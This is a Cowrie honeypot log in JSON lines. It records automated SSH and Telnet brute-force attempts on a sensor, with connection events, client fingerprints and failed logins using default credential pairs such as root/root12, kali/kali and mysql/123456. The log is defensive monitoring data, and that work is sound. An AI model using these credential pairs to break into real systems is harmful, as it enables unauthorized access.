{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:56.551791Z","src_ip":"165.154.137.186","session":"b028b7f3c960","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:57.338926Z","src_ip":"165.154.137.186","session":"b028b7f3c960","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:58.616985Z","src_ip":"165.154.137.186","session":"b028b7f3c960","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57898,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ec796d462cc","protocol":"ssh","message":"New connection: 165.154.137.186:57898 (10.17.0.5:22) [session: 7ec796d462cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:59.738597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:59.742251Z","src_ip":"165.154.137.186","session":"7ec796d462cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:59.993075Z","src_ip":"165.154.137.186","session":"7ec796d462cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:00.747659Z","src_ip":"165.154.137.186","session":"7ec796d462cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:02.000925Z","src_ip":"165.154.137.186","session":"7ec796d462cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:06.959615Z","src_ip":"8.210.75.243","session":"36af0c46fe69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58366,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a91f9df8961","protocol":"ssh","message":"New connection: 165.154.137.186:58366 (10.17.0.5:22) [session: 6a91f9df8961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:07.184393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:07.190470Z","src_ip":"165.154.137.186","session":"6a91f9df8961","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:07.450599Z","src_ip":"165.154.137.186","session":"6a91f9df8961","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:08.232801Z","src_ip":"165.154.137.186","session":"6a91f9df8961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":52636,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc64671121bf","protocol":"ssh","message":"New connection: 2.57.122.209:52636 (10.17.0.5:22) [session: bc64671121bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:08.685276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:09.142208Z","src_ip":"2.57.122.209","session":"bc64671121bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:09.144511Z","src_ip":"2.57.122.209","session":"bc64671121bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:09.495790Z","src_ip":"165.154.137.186","session":"6a91f9df8961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58378,"dst_ip":"10.17.0.5","dst_port":22,"session":"5748e4dba4ce","protocol":"ssh","message":"New connection: 165.154.137.186:58378 (10.17.0.5:22) [session: 5748e4dba4ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:10.764884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:10.797240Z","src_ip":"165.154.137.186","session":"5748e4dba4ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":52866,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9d542fb41ea","protocol":"ssh","message":"New connection: 165.154.137.186:52866 (10.17.0.5:22) [session: a9d542fb41ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:10.944274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:11.057879Z","src_ip":"165.154.137.186","session":"a9d542fb41ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:11.180804Z","src_ip":"165.154.137.186","session":"5748e4dba4ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:11.288556Z","src_ip":"165.154.137.186","session":"a9d542fb41ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12","message":"login attempt [root/root12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:11.497061Z","src_ip":"2.57.122.209","session":"bc64671121bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:12.095596Z","src_ip":"165.154.137.186","session":"5748e4dba4ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:12.185728Z","src_ip":"165.154.137.186","session":"a9d542fb41ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:13.129590Z","src_ip":"2.57.122.209","session":"bc64671121bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:13.359401Z","src_ip":"165.154.137.186","session":"5748e4dba4ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42386,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e9a5be94f3a","protocol":"telnet","message":"New connection: 170.64.224.25:42386 (159.203.135.109:23) [session: 2e9a5be94f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:13.418970Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:13.436093Z","src_ip":"165.154.137.186","session":"a9d542fb41ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":52868,"dst_ip":"10.17.0.5","dst_port":22,"session":"39c06480dd62","protocol":"ssh","message":"New connection: 165.154.137.186:52868 (10.17.0.5:22) [session: 39c06480dd62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:17.822315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:17.826051Z","src_ip":"165.154.137.186","session":"39c06480dd62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:18.102094Z","src_ip":"165.154.137.186","session":"39c06480dd62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:18.929344Z","src_ip":"165.154.137.186","session":"39c06480dd62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":52872,"dst_ip":"10.17.0.5","dst_port":22,"session":"b69d54b3b69e","protocol":"ssh","message":"New connection: 165.154.137.186:52872 (10.17.0.5:22) [session: b69d54b3b69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:19.619301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:19.622864Z","src_ip":"165.154.137.186","session":"b69d54b3b69e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:19.898755Z","src_ip":"165.154.137.186","session":"b69d54b3b69e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:20.206321Z","src_ip":"165.154.137.186","session":"39c06480dd62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:20.728229Z","src_ip":"165.154.137.186","session":"b69d54b3b69e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:22.006383Z","src_ip":"165.154.137.186","session":"b69d54b3b69e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.69","src_port":38328,"dst_ip":"10.17.0.5","dst_port":23,"session":"13a70d245913","protocol":"telnet","message":"New connection: 154.90.70.69:38328 (10.17.0.5:23) [session: 13a70d245913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:25.497525Z"}
{"eventid":"cowrie.session.closed","duration":0.0038144588470458984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:25.501215Z","src_ip":"154.90.70.69","session":"13a70d245913","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.69","src_port":38332,"dst_ip":"10.17.0.5","dst_port":23,"session":"b56e6c33dbd7","protocol":"telnet","message":"New connection: 154.90.70.69:38332 (10.17.0.5:23) [session: b56e6c33dbd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:25.578555Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55520,"dst_ip":"10.17.0.5","dst_port":22,"session":"9851f8453db3","protocol":"ssh","message":"New connection: 165.154.137.186:55520 (10.17.0.5:22) [session: 9851f8453db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:26.720863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:53:26.724422Z","src_ip":"165.154.137.186","session":"9851f8453db3","protocol":"ssh"}
